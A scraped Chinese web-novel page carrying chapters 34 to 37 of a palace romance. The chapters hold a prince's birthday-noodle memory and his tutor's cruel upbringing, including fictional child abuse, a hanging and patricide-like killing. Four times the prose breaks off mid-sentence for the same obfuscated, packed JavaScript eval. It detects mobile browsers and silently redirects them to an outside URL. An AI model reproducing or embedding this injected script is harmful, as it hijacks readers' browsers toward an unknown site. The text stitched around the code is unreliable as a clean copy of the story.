;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010216|147505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他深吸气,努力让自己心平气和。 ——本王不与尔病弱之流斤斤计较! 周卜易的眼神很凶,但不知道是不是因为没力气,他的手很轻。 擦了小半张脸,周卜易将毛巾丢进铜盆,顾棉垂眸搓洗,脑子里却全然不是手中之物。 刚刚先生摸他脸了,还摸了好多下。 顾棉感觉自己有点像得了骨头的大狗,因为骨头很多,就开心得恨不得把尾巴给甩飞到天上去。 …幸好他没有尾巴,不然丢脸可就丢大了…… 周卜易这个王八蛋一定会嘲笑他的。 洗好了毛巾,顾棉又把毛巾递过去,然后目光灼灼盯着周卜易的手。 那只手……原先是该有点肉的,肉和骨的比例刚好,漂亮白润又不缺骨感。 可如今呢?顾棉思考了一下,想到了一个词——鸡爪。 那就是一张皮裹着白骨罢了,瘦得骇人。 一想到这,顾棉头就越来越低。 周卜易皱着眉给他扳正,然后挂了一抹讥笑道,“爷搁这面壁思过呢?奴是擦脸,不是洗头。” “周卜易,你说够了吧”,顾棉声音有点闷闷的,“不准再说了。” “怎么?”美人皱起的眉头忽然松开,轻笑着拍拍他的脸,“要给爷说发烧了?” ——怎么就喜怒无常失心疯成这副模样? 顾棉用指甲轻轻刮了刮手心。 反正周卜易得失心疯也不是一天两天了,顾棉缓缓阖眸,他早就习惯了。 指尖用了一点力,掐着手心肉,他才忍住了没落荒而逃。 以前的时候吧,周卜易这个混蛋就喜欢撩他玩,他不经撩,稍微过火了些,他就想跑。 那个时候,周卜易就一边勾着他的衣带把捂着眼睛的他拽回来,一边揉捏他通红的脸颊。 “别跑啊棉姑娘”,周卜易眼睛里满是恶劣的笑容,“说两句玩笑话而已,不至于羞成这样吧?” 他连连后退,周卜易却偏要使坏的步步紧逼。 脊背贴上墙壁,无路可退之后,顾棉一把抓住周卜易宽宽的袖子,把脸闷在了里面,死活不肯撒手了。 周卜易就笑着蹲下身,一边揉他脑袋,一边道,“小殿下是不是发烧了?怎么这么红这么烫?” 顾棉想着从前呢,这混蛋就喜欢逗他玩,似乎能从中获得极大的乐子。 如今似乎也没什么变化。 只是如今他已经比周卜易高出很多了,再也不是那个任人欺负的小殿下了。 顾棉眼神越来越晦暗,其中夹杂着一种非常危险的情绪。 周卜易,你给本王等着,等本王把你养圆了,看本王怎么欺负你! 美人轻蔑一笑,丝毫没把顾棉的目光放在眼里。 他把顾棉擦得干净如初,才又懒洋洋靠回床头。 像极了一只懒猫,心血来潮用爪子捞了几下鱼,没捞多久就用尾巴圈着身体晒太阳去了。 顾棉看着美人这个样子,实在是心里很痒痒。 周卜易瞥了他一眼,淡淡道,“您怎的还没滚?” “那臣请爷滚?” 34.他注定要被折断 “这是本王的寝殿,你要本王去哪?” 周卜易,本王哪里也不去,就在这守着你。 “算了吧爷”,周卜易轻轻咳嗽几声,“奴已经想通了。” “念头通达,诛邪不侵。” “本王不信你。” “好,你不信,奴饿了,爷先去弄点吃的行不行?” 顾棉仔细观察着美人的神色,见他不似作伪,便点点头,去传膳了。 撩开珠帘的时候,顾棉紧绷了多日的肩膀终于松弛下来。 如释重负。 周卜易肯吃东西了,而且刚刚他进来的时候,周卜易是在喝水吧? 他明明很高兴,可为什么鼻子一直酸酸的,眼睛很涨很涩,有什么东西要涌出来了一样。 顾棉忽然转身,“你……能吃面食吗?” “今日是……寒露节”,顾棉勉强扯出一个笑容,“本王亲自下厨,给你做最喜欢的阳春面。” 见美人没什么反应,顾棉一顿,小声补充,“流心的……” 说完,不等周卜易答,整个人就消失了。 顾棉想,他不是不敢听周卜易的答案,他只是觉得天色不早了,他不想再饿死这病鬼罢了。 天凉了,顾棉跟自己说,要记得多添汤,不然面会坨。 坨了的面,他那挑食的猫儿是不肯吃的。 好多好多年以前,南城王府上,周卜易抱着红泥小火炉,就立在雪地里,一沾冷空气,就周身冒白雾。 顾棉从柴房搬了个木墩子,踩在上面才勉强够着灶台。 “算了吧小殿下”,周卜易一点帮忙的意思都没有,还在一边冷嘲热讽,“臣指望您煮出来的东西能吃,还不如指望鲤鱼会在天上飞。” 顾棉抹了一把脸蛋,满头满身都是草木灰,两道泪痕挂在脸上格外明显。 “我…我可以!” “我可以的,先生……”顾棉把手放在盆里洗了洗,又把锅铲洗了洗,举给周卜易看,“不脏,干净的……” “是吗?”周卜易往锅里瞥了一眼,果然那水上飘了一层浮灰。 “您是什么时候得的眼疾?” 顾棉很难过,他那时候人太小,身子太矮,添完柴再爬上木墩,脸和衣服就容易在灶口蹭上灰。 因为添柴的本事不到家,灰烟弥漫得整个膳房里都是。 顾棉一边呛得咳嗽,一边抹去熏出来的眼泪,在大烟里面忙忙碌碌。 周卜易有那么一瞬间怀疑,这小子是不是想点了南城王府来报复他。 还是个蠢到家的同归于尽打法。 因为水放太少,最后煮出来的是一碗惨不忍睹的面坨坨。 蒙了一层灰的面坨坨。 顾棉沉默着看了它很久,然后没忍住吸了下鼻子。 没事……打个鸡蛋上去,流心那种……它就变成金黄色了…… 很好看的。 顾棉手忙脚乱一不小心连壳带蛋一起打进了碗里,他忙跳下来去找筷子,然后坐在门槛上认认真真仔仔细细挑鸡蛋壳。 南城王府的下人系着围裙,阻止也不是,帮忙也不是,只能站在一边唉声叹气。 周卜易躺在树下摇椅上,身上盖了毛毯,手炉一个塞在褥子里,一个抱在手中。 顾棉好不容易挑好了壳,可却傻了眼。 他看别人也是直接打在碗里,为什么人家的蛋一会就熟了,而他的现在还是生的? 他好像又搞砸了…… 顾棉耷拉着脑袋,端着那碗不知道能不能吃的“阳春面”,慢慢走到周卜易面前。 他低着头,咬着下唇,手臂颤抖,泫然欲泣。 “小殿下,如今是你要毒死臣,怎的臣还没哭您倒先哭上了?” 周卜易坐起来了一点,接过碗,等看清里面的东西后,就连一贯能说会道的他也沉默了。 …不想打击孩子信心,但恕他真的下不去嘴…… “吃面呢,好歹给点汤吧?”周卜易把碗撂在一边,往后一仰又懒懒散散躺回去,“得,毒死臣还不够,小殿下这是打算把臣活活噎死。” 顾棉低着头,两根指头捏着周卜易一角袖子,眼泪一滴一滴落在周卜易手背上。 “别哭了行不行?真是输给你了丫头”,周卜易十分不情愿的又坐起来,葱白修长的手指去捧顾棉脏兮兮的小脸,“抬头看着我丫头。” “怎么了嗯?怎么就非要煮这碗面呢?” 顾棉只埋头肩膀一抽一抽,不抬头也不回答。 “再哭?”周卜易作势扬起手,“再哭臣要揍人了。” 顾棉一听,将周卜易袖子攥得更紧,然后闷闷哭。 “唉……”周卜易的手落下来,放在顾棉头顶,用力揉了揉。 “死丫头,臣上辈子一定欠了你的。” “行了行了,臣还没死,给谁哭丧呢?”周卜易恋恋不舍从温暖的被窝里出来,然后往膳房走,“滚过来,臣教您做行了吧,烦死了。” 给谁哭丧都不给先生哭,顾棉手里攥着周卜易袖子,心里钻着周卜易牛角尖。 先生是神人,先生不会死。 周卜易动作很麻利,三两下卷好了袖管,一脸嫌弃弯腰把顾棉抱起来放到灶台上。 满屋子的烟排出去,炉子里舔够柴,火苗烧旺起来。 涮锅,烧水,调味,下面,一气呵成。 盛了一大碗和一小碗,汤分均匀。 葱段撒上去,锅里水烧干,然后热油。 鸡蛋磕两个,打在热汤里,一会就烫白了蛋清。 瞧着已经很诱人了,可直到那锅热油滋滋淋上去,顾棉很没出息咽了口口水。 没办法,太香了,热油一倒,整个空气里都是熟香。 顾棉凝望着周卜易沾了凉水有些泛红的手。 他先生怎么什么都会啊? 好喜欢……先生…… 周卜易把面端出去,然后用筷子粗的那头敲了敲顾棉脑门。 “学会了吧?” 顾棉点点头,周卜易便把那筷子递给他。 他张开双臂,等着周卜易给他抱下去。 周卜易轻嗤了一声,卡着他腰给他弄下来。 然后便立刻松开了他,往桌边走。 那天的雪不大,正是文人雅士们围炉煮茶的好时候。顾棉呼噜呼噜吸着他那碗香喷喷的面,时不时偷看他先生用瓢往壶里添水。 在又一次抬头之后,他跟周卜易对视了。 周卜易放下瓢,屈指弹了一下他眉心。 “现在能说了吗?” “今天是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020309|147505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……九月初八”,顾棉声音很小,但能让周卜易听见,“寒露节。” “臣怎么不记着寒露有吃阳春面的习俗?” “母妃说,寒露是……”顾棉筷子磕了一下碗沿,他像是受了惊般一抖,“嗯……” “嗯?” “嗯……” 周卜易在桌下踢了踢他的脚,“说话啊?” “嗯……” 周卜易叹了一口气,伸手捏顾棉下巴,“小殿下,说话。” “臣似乎没在面里下哑药吧?” “母妃说寒露是…是先生的诞辰……” “这是长寿面”,顾棉脸越来越烫,“我想先生……长命百岁。” “哦”,周卜易淡淡应了。 顾棉抬起头,有些急了,“先生不高兴吗?” “有什么值得高兴的吗?” 周卜易的语气实在太平淡了,就好像他从未在意过自己的生日。 顾棉眼圈一红,他觉得心里好像被什么东西锥了一下。 “先生从来不过生日吗?” “不是所有人的出生都被期待”,周卜易语气冷下来,“要听实话吗?” “臣讨厌生日。” 不等周卜易说出更加冷冰冰的话语,顾棉已经扑进了周卜易怀里。 周卜易一愣,下意识伸手虚虚护住顾棉。 “我…我要是比先生大,我一定期待先生的出生”,顾棉语气有点闷,但他的话很真诚,“我会提前好多天守着,等先生来到这个世上,我…我……” 顾棉说着说着,后知后觉有些羞,然后声音也就越来越小,磕磕巴巴的,“我……我要第一个抱先生……” “先生绝对是全天下最漂亮的小孩……” 周卜易放在顾棉背后的手在抖,只是顾棉看不见。 周卜易还是摆着那一张臭脸,弄得顾棉都要急出眼泪了。 顾棉一会抓周卜易袖子,一会摸周卜易脸,最后他用胳膊环住了周卜易的腰,把整个脸都闷在周卜易怀里。 “先生开心吗……” 没有回答,顾棉又问,“先生可以开心吗……” 得不到回答,顾棉的语气也越来越卑微了,“先生开心好吗……” “求先生了……” 周卜易那个时候在想什么呢? 周卜易在想,小孩,这个世上至少有一个人是在你出生之前就期待过你的。 在你的母妃还没怀上你的时候,就有一个人幻想过你以后会是什么样子。 他想过你的样貌,想过你的性格,想过你以后要走的路,然后他想。 他会用尽一生去守护你,把你安安稳稳送上千古一帝的位置。 那之后他会离开,就如他忽然闯进你的生活一样忽然消失。 你登基之日,就是他完成使命之时。 小孩,其实他很羡慕你,他只为了你而诞生,等到他没用了,他的族人就会将他处死。 他会死,为了日后不威胁到你和你的江山,他一定要死。 他会孤零零一个人独自踏上返程,回到他长大的小竹林,然后在族人的注视下,用那把名唤折竹的剑,抹断自己脖子。 折竹,折竹。 他就是那棵走出竹林的,注定要被折断的竹子啊。 35.本王今晚要上床 顾棉很用心地看顾着锅里的水,看着泡泡沸腾起来,他抓了适量的面下去。 锅有些深,对如今的他来说有些矮了,他需要微微弯腰才能用小勺子舀起汤尝尝咸淡。 十多年了,十多年时间,足以让他把一碗小小的长寿面复刻成当年周卜易一模一样的滋味。 那年的话放到如今,依旧合适。 ——周卜易,本王只愿你长命百岁。 顾棉端起碗,行走间似有秋风相随。 他推开门,美人下半身窝在被子里,懒洋洋靠着床头。 是与当年一般无二的姿态。 可冥冥之中,好多东西已经改变了。 顾棉坐上床,周卜易见状微不可查皱皱眉心,然后笑叹,“爷还挺有孝心。” “靠近点,奴先尝尝汤。” 顾棉心里有些复杂,一时什么情绪都涌了上来,但他最终只是沉默着挪了挪屁股,往里面坐了点。 面汤比较清淡,华云舒说周卜易胃不好,不宜…… 他看着美人低下头,抿了一小口汤液,他的目光竟似钉在了那勺沿。 他很快垂了眸子,执起筷子,没敢挑太多,就勾了几根在竹筷上,慢慢转动。 卷好了面条,往蛋心里戳一戳,裹了层金黄,才复又送到周卜易唇边。 “你……吃两口就行。” “是那么个意思”,顾棉担心周卜易吃出什么问题,他抬眸去看周卜易的脸色。 周卜易像是在笑,仔细看却又没有笑意。 顾棉手抖了一下,低声,“你爱吃不吃,不吃本王再也不煮了。” ——周卜易,普天之下还有谁会为了一碗面心心念念十多年之久? 你要是不识好歹,本王…… “顾小棉”,美人深不见底的眸子凝着顾棉的面颊,又移到筷子上。 ——周卜易,你还有什么难听的鬼话?你说啊,说了也没用反正本王只当听不见。 顾棉脊背紧绷起来,他低垂着的睫毛几乎盖住了整双眼睛。 “抬头丫头”,美人缓慢抬起胳膊,戳了下顾棉脸颊,“紧张什么,又不骂你。” 直到看见顾棉终于将头抬起,周卜易才弯了眉毛给了他一个还算认真的笑。 “不骂你,谢谢你。” 不开心不是因为你,周卜易在心里叹息,顾小棉。 是我自己的原因。 周卜易轻轻咬住筷子,将那几根晾凉的面含在口中。 傻瓜顾棉,知不知道蛋凉了就腥了。 周卜易没怎么嚼,就直接咽了。 好腥……腥死了…… “您最好是把那蛋搅一搅,搅进汤里去,要不奴实在没法下口”,周卜易似笑非笑道。 其实这不能怪顾棉,周卜易轻咳几声,如果自己能正常进食的话,这碗面会很香。 可惜了,糟蹋了好东西。 顾棉何尝不知这其中缘由,他看了周卜易一眼,轻轻吸气。 “对不起,是本王疏忽了”,顾棉一手端碗,一手搅面。 虽然不是他的错,但他先认了再说。 今天是周卜易的生辰,顾棉不想周卜易为这一身病而不开心。 “本王以后会注意。” 顾棉就这么几小根几小根喂完了一碗面。 周卜易倒也赏脸,竟是乖乖吃完了也没闹脾气。 顾棉想起刚刚买回周卜易的时候,喂他几口米汤都简直难如登天。 如今想来,竟是有些欣慰。 在好了,一切都慢慢在变好了。 顾棉这样想着,心里阴霾散去不少。 顾棉看着周卜易出神,然后他忽然回神,下床,用晚膳。 夕阳越来越红了。 顾棉坐在小桌前,垂眸看婢女收去碗筷。 “周卜易……”顾棉的整张脸都藏在影子里,看不清神色。 “顾小棉,该叫先生的”,周卜易移动眸子,笑看过去,“越大越没规矩了。” “周卜易……”顾棉声音略沉,“本王陪你熬了几夜,很困。” “今晚本王不打算陪你熬了”,顾棉看着周卜易的眼睛,想从那里看见哪怕那么一丁点失落或不舍的情绪。 没有,什么都没有,那里面只有笑意。 冰冷的,假极了的笑意。 “本王……”顾棉忽然有一种被看穿了的悲愤,“周卜易,你霸占本王的床够久了。” “所以?”周卜易嗤了一声,“爷是怎么个打算?” “本王要上床”,顾棉一字一句说完,“这是通知,不是商量。” “本王今夜跟你睡一张床,你给本王当抱枕。” 周卜易没有回答。 顾棉提高了音量,“你听见了没有?” 周卜易一翻身,缩回了被子里。 “周卜易,明日清晨就要启程”,顾棉压下心底酸涩,“晚上乖一点,不准闹。” 如果今夜不能休息好,旅途劳顿,周卜易这身体怎么受得住? 顾棉没指望等周卜易答应,今晚他是铁了心的要搂着周卜易睡。 顾棉看了看天色,叫人端了水和毛巾进来。 他打算简单洗一下,至于周卜易,华云舒说伤口暂时不宜沾水。 等把自己收拾好,顾棉坐在床边,用另一条毛巾给周卜易把脸和脖子都擦了一遍。 然后他把周卜易的手从被子里轻轻捉出来,给周卜易擦手指。 在此期间,周卜易一直一言不发。 顾棉直觉,周卜易在压抑什么。 是……恼了吗…… 不像…… 周卜易有什么可恼的……周卜易恼了就恼了……周卜易再恼也改变不了他的决定…… 顾棉一根一根给美人把手指擦干净。 等一切都收拾好,顾棉看着外面黑下去的天色,吹灭了蜡烛,爬上床。 周卜易往里面挪了一点,一直背对着顾棉。 顾棉也跟着他往里面挪,然后他侧过身子,把一整条胳膊从美人后颈下面横过去。 周卜易枕着顾棉的胳膊,缓缓阖眸。 ——冷静,你要冷静。 你必须冷静,他是你的主人,也只能是你的主人。 周卜易,别忘了你带着使命而来,别忘了你注定该有的结局。 你不能害了他。你不能害了他。 周卜易闭着眼睛,心绪不宁。 秋夜里,顾棉的呼吸很绵长,一阵一阵热浪穿过冷空气触及他皮肤。 太近了,顾棉的手就轻轻搭在他腰间。 太近了,近到没有办法去胡思乱想,脑子里已经被枕边人填满。 周卜易用指甲掐了掐掌心。 顾棉听着被子里窸窸窣窣的响动,没忍住红了鼻头。 周卜易,你当真就如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028517|147505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此厌恶本王? 顾棉用手包住美人的手背,十指插进美人指间。 “你以为你的身体是谁的?”顾棉声音低沉,“本王许你自伤了吗?” 没有回应,顾棉自言自语,“你自己好好想想吧,早晚都是要侍寝的,本王不会放过你,本王这辈子都不可能放手。” “周卜易,是你先招惹本王的,是你…… “你听好,本王绝不放手,要不了你的心,本王只要你人也……” “闭嘴”,美人声音无比冷冽,“聒噪死了,不睡滚出去。” 白天那一刹温柔,仿佛是错觉。 顾棉自嘲笑笑,是了,他指定是疯了,要不怎么会觉得周卜易温柔。 周卜易是个什么样的人,他最清楚了。 周卜易要是温柔,这个世界上就没有脾气坏的人了! 顾棉慢慢把头移近周卜易颈窝。 随便你凶,再凶能怎么样。 吸气,呼出,气息交缠的时候,顾棉想,周卜易原先不是这个味道的。 不懂事的时候,他就喜欢跟个小尾巴一样黏着周卜易。 周卜易长得漂亮,身上还总是香香的。 是一种,寺庙里的乌木沉香的味道夹杂着竹子的清香。 闻着就很令人安心。 顾棉深深吸了一口气,那安心的味道很淡很淡了。 已经全然被药的苦味掩盖。 闻着这中药的苦味,顾棉连呼吸都是苦的。 这苦渗透进了梦里,四里都是墨一般的黑色,耳边是嘈杂的呻吟。 顾棉走完梦里又黑又长的过道,那尽头有间小屋。 透过窗户可以看到里面有尊佛像。 青灯古佛伴着孤影,是什么人在那里长跪不起? “先生……” 满目都是刺眼的红,鲜血蜿蜿蜒蜒一直流淌到门外。 太可怖了! 顾棉一下子就惊醒了,他怕吵到周卜易,拼命克制着喘气声和剧烈跳动的心脏。 周卜易在抖,在说着什么。 顾棉强迫自己静下心,仔细听了一阵。 周卜易好像在跟谁对话。 “我记得……” 他记得什么? “我反省了,我没忘……” 他……这是在跟护龙一脉的人说话吗? “你们难道就不怕我鱼死网破,让你们竹篮打水一场空吗!” 周卜易忽然情绪激动起来,“别逼我,你们最明白我到底能有多狠。” “唔……” 那些人好像要逼他吃什么东西,周卜易忽然挺身,还没开始挣扎就被顾棉圈在了怀里。 “好了…好了…先生……” “先生…安静……”顾棉把下巴搁在美人颈窝,轻蹭他发丝,“不准再闹了……安静,乖,安静……” 周卜易听不见他的安抚。 “华…山泉”,周卜易咬牙切齿,“你敢抗命……” “你死了这条心!你就是灌再多的散魂汤给我,也不可能打破我的精神! “他们疯了,你也疯了是吧!用这种手段就想控制我?做梦!” 什么!周卜易的离魂症是人为的?! 那一脉就当真残忍无情至此吗,一点血脉亲情都不顾吗?! “华山泉……”周卜易忽然睁开眼睛,狠狠瞪着那屏风和飘荡的外衣,“你糊涂!” 36.先生的过往 顾棉抬起左手,蓦然蒙住了美人的眼睛。 “没有华山泉,那是本王的衣裳”,顾棉挪近了一点,让周卜易整个后背都贴在他的胸膛。 “嘘……别吵”,顾棉将手移下来,放在周卜易小腹处,略微紧了紧,“周卜易,你知不知道现在什么时辰了?不准闹了,本王抱着你睡。” 心中酸涩,连鼻腔都跟着刺痛起来。 这样,你能不能稍微安心一点呢? 你能不能不要做噩梦了呢? 周卜易呼吸渐渐平稳下来,他缓缓阖上眸子,声音清冷,“手拿开,凉得跟死人一样,别往奴肚子上放。” 当然会凉,此时的秋夜已经很冷了,他的手方才一直放在被窝外面,放在周卜易眼皮上。 “嗯……”顾棉把手收回来,贴在他自己腿侧,“睡吧,本王就在这里。” 这个姿势其实很不舒服,更别提那被美人枕了半夜,早就麻得没了知觉的右胳膊。 顾棉僵着身子,连呼吸都非常轻,生怕胸口起伏颤动吵到周卜易。 周卜易闭着眼睛,眼角一颗压抑至极的泪悄悄沾湿枕巾。 ——你已是将死之人,怎好贪欲俗念? 周卜易,你是必死之人。 周卜易睡得很不安稳,断断续续陷进一个个满是愁闷悲苦的幻境。 大约是半岁的时候吧,小手没有力气,什么都拿不稳的年纪。 他跪坐于蒲团之上,老人坐在他对面。 “你是一颗跳出棋盘的棋子”,老人手执书卷,“可你终究还是要回到这局中。” “想见到你母亲吗?现在把阴符经背给我听。” 在别人还在母亲怀里喝奶,还尚未开始学语的年纪,周卜易不得不用全部的心思去理解那些晦涩难懂的句子。 所幸,他确实足够聪明,从来不负众望。 “观天之道,执天之行,尽矣……” “口齿不清,有一字音误,你失去了这次机会”,老者起身,“记住,你所言所行,皆不容有分毫差错。” 周卜易按着书的手指微微发白。 两岁,他端坐高位,看众人下拜。 “见过大人——” 老人立于他侧,“既为百器之君,当有锋利之用。” “便赐你名衍。凡人被造化愚弄,而你该玩弄造化。” “周衍,过来”,老人牵起他的手,带他走着下山的路。 老人指着竹林间的小屋,“你母亲就在那里。” 周卜易好似无悲无喜,他没有狂奔,只是不疾不徐往那边走。 身后老者点点头。 周卜易轻轻推开门,一丈白绫悬于房梁,母亲的身躯在空中飘荡。 “周衍”,老人声音狠厉起来,“告诉我,她因何而死?” “因为我,我不该有情。” “你想见她,现在你见到了。”老人声音冷如死物,“什么感受?” “无感”,周卜易面无表情给出那个最优答案,“把她放下来埋了,吊在这里碍事。” “你很聪明,知道自己以后会住在这里”,老人语气稍缓,“明日午时前上山,取书。” “什么时候这间屋子完全被书填满,什么时候准你离开。” 那晚的夜很黑,雷声很响。 周卜易蜷缩在床角,迟迟不敢入睡。 一闭眼,便是那对在他面前荡来荡去的女人的脚。 “对不起……”他瑟瑟发抖,“是我错了……” 因为他想她了,他牵挂着她的近况。 所以他害死了她。 雷声大得仿佛是老天在发怒,要将他这个不孝子五雷轰顶。 他终于睁眼到天亮,天一亮他就逃出了小屋。 不该,不该有情。 周卜易看着不算太刺眼的晨阳,收敛了所有情绪,只换上冰霜和冷硬。 不可以被他们发现,他心底尚且留有人情。 如被发现,他们一定会用尽一切办法将它拔除。 五岁的时候,老人与他对弈,“你如胜天半子,我便许你下场。” 自诩为天吗?周卜易轻蔑一笑,落下关键一子。 狂妄。 “周家有你,大业将成”,老人铺开图纸,“你已有参与布局的资格。” “黎阳春,你可入世,书信联系,一切皆依他行事。” 那之后,上谱之人及其家族尽数散落于天下各处,他们的背后,是周卜易的手在操控。 九岁那年,出了意外。 傅辰被带回,无人知道发生了什么,但当老人出现在他门口,问他该如何处置时,他便明白了。 傅辰或许并无过错,这是周家给他设的局,只为了试探他是否还残存着七情六欲。 可傅辰何其无辜…… 周卜易冷冷看了傅辰一眼,道,“当回炉再造。” 毁了傅辰,再换个人上谱。 行事果断,顾全大局,老人捋捋胡须,这就是护道人该有的心性。 “只是,我亦有过”,周卜易一句话便让老人变了脸色,“此事因我而起。” “你回去”,周卜易看着傅辰的眼神依旧冰冷,“谱上排名降两位,暂停手中之事,去看二十年大门,以思已过。” “哼”,老者拂袖而去,“你既觉有过,怎能不受罚,明日膝行上山,子时见不到你,你就去滚钉床,滚到后日天亮!” “我自明白,无需多言”,周卜易冷淡道,“滚,不送。” “加一项!一步一叩首!正正你的态度和本心!” 这一次上山,一直到三日后才下来。 是华山泉把他背下去的。 “大人……”华山泉那时候已经年纪大了,腿脚不是很利索,背着他走了一天两夜才到山下,“周家不准您用药,您再忍忍吧,我……想想别的办法……” “不必了”,周卜易气息很弱,“你回去便是,云舒还小,他离不开你。” 华山泉心口一窒。 云舒还小,那您呢? 云舒可比您还要大四岁啊。 华山泉拧不过周卜易,把他放到硬板床上就回去了。 周卜易躺了两天,周家对他不管不问,连水和食物都不给。 周家主放话,要他自己上山拿,拿不到就去死。 主家都发话了,那一脉的其他异姓旁支更不敢多言。 月上枝头,周卜易在山道上爬,身后有一道与他身体同宽的血痕。 很长很长,并且还在持续变长。 他爬一点,那血色就多一点。 他神色恹恹,有点不耐烦。 他不喜欢这种任人摆布的感觉。 很不喜欢。 此后他越发拼命起来,十二岁那年,他终于将匕首插进周家家主胸膛,完成了最后一道考核。 自此,他为周家家主。 那日,老人张开双臂,坦然接受了落败的事实。 “周衍,我是你爷爷”,老者目光平静,“你父亲本是上一代护道人,却为了你母亲选择放弃谋划,私逃隐居。” “我抓到他,亲手处死了他,我关押你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14037681|147505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那已经怀孕的母亲,直到她生下你”,老人沧桑的目光中,复杂的情绪已分辨不明,“后来我又将你母亲吊死在你面前,我知道你一定恨透了我,恨透了周家和护龙一脉。” “你现在过来杀了我,以后都不再有考核”,老人递给他一把匕首,“杀了我,你就可以入世。” “今日你若心慈手软,那么我会像处死你那个软弱无能的爹一样处死你。” 周卜易没有犹豫,白刀子进红刀子出。 结束了……吗…… 还是说,才刚刚开始呢? 他成了周家的家主,成了护龙一脉的领导者。 可整个周家,整个护龙一脉,都在时刻密切监视他,从未有一丝懈怠。 奉源十八年,周家察觉到一丝端倪,欲要逼问徐川顾棉的身世。 周卜易打乱了十年布局,杀入南方诸国。 以此拖住周家和那一脉。 奉源二十年秋,黎阳春写信给他,要以顾棉性命相胁,逼他收兵立刻返回神都。 “我最多帮您拖到今年冬至,您若还不能归”,信纸上的字是那么令人烦躁,“那一脉将对您略施小惩。” “我不知道您是为了什么而忽然发疯,我斗胆猜测与殿下有关,为了您的安危着想,您再不启程,我将会挟持殿下,以帮助您尽快返回。” 奉源二十一年春,周卜易秘密处理好了南方诸国国君,然后假装收兵。 他必须要留一个完全属于他自己的势力,脱离那一脉的势力。 那年春上,他回了神都。 他跪在针板上,跪在庄严佛像前,有一人悄然出现在他背后。 “您可有悔? “您若悔过,我们便伺机接您出去。” “我不知自己何错之有,徐川又何错之有。” 那人便叹息,“徐川为了一己私欲忘却本心,您呢?” “我只知道,我主顾棉。” “您错了”,那人语气里满是遗憾,“您主乃是天意,您还记得您读的第一本书,《阴符经》吗?” “观天之道,执天之行。” “如果顾棉不是那天命所在”,那人轻叹,“您当回去,另候明主。” “您护的是道,是天下正统”,那人摇摇头,“不是某一人。” “您好好反省吧,一月后我再来问您。” 一月之后,那人如期而至。 “您可有悔?” “顾棉便是天命”,周卜易语气很坚定,“温妃之事已调查清楚,当年镇北王私通之人并非温妃,而是……” 那人面露讶异,“那徐川也如此说,您与他十八年未曾相见,自然不可能提前串通。” “我信您了”,那人接着话锋一转,“但您此番莽撞,乃是大错,您可有悔?” “您如此行径,是要重蹈您父亲覆辙吗?” 周卜易未尝答一字。 那人扼腕叹息,“我明白了,我再给您最后一次机会,一月后我再来问您。” 还没满一个月,先来的是华山泉。 华山泉背着他回了华府,就如当年背他下山一样。 “大人……”华山泉端着一碗药汤,“这散魂汤您非喝不可。” “这是山泉……唯一救您命的办法了……” “拿走……”周卜易气若游丝。 华山泉一点一点把药灌进去,“我上山解释过了…您意外得了癔症,才有如此疯颠行为。” “你……” “我跟他们说,华家能治,他们已经答应我,不再追究……” 37.要本王亲你吗 被连着灌了十几日的散魂汤后,周卜易终于于某一个深沉的夜首次发病。 华山泉坐在书桌前,手里捏着一支毛笔。 他要记录周卜易神志不清时说过的潜意识里的话,看看有什么关键信息,然后还要从中找到周卜易心理防线的漏洞。 但他万料不到,周卜易忽然就清醒了。 周卜易瘫在太师椅上,手无力地垂在椅侧。 “你很好”,周卜易轻启薄唇,“华山泉,你很好。” 华山泉顿了笔,低下头,头上是花白一片的发丝。 他的眸中有很多愧疚。 “大人……这是周家下的死命令……”华山泉执笔的手在颤抖,“如果不能问出您究竟为了什么不顾大局,他们会……” “散魂汤……在您很小的时候,我就已经在研制了……”华山泉布满皱纹的眼尾垂下来,脸上满是挣扎与痛苦,“同样是周家的命令…前家主的命令…您的祖父一直防着您……这是他准备控制您的手段……” “那你还真是煞费苦心”,周卜易嗤了一声,费力地抬起胳膊,却很快垂下来,“我还要感谢你是吗?我谢谢你编瞎话骗我,然后……” 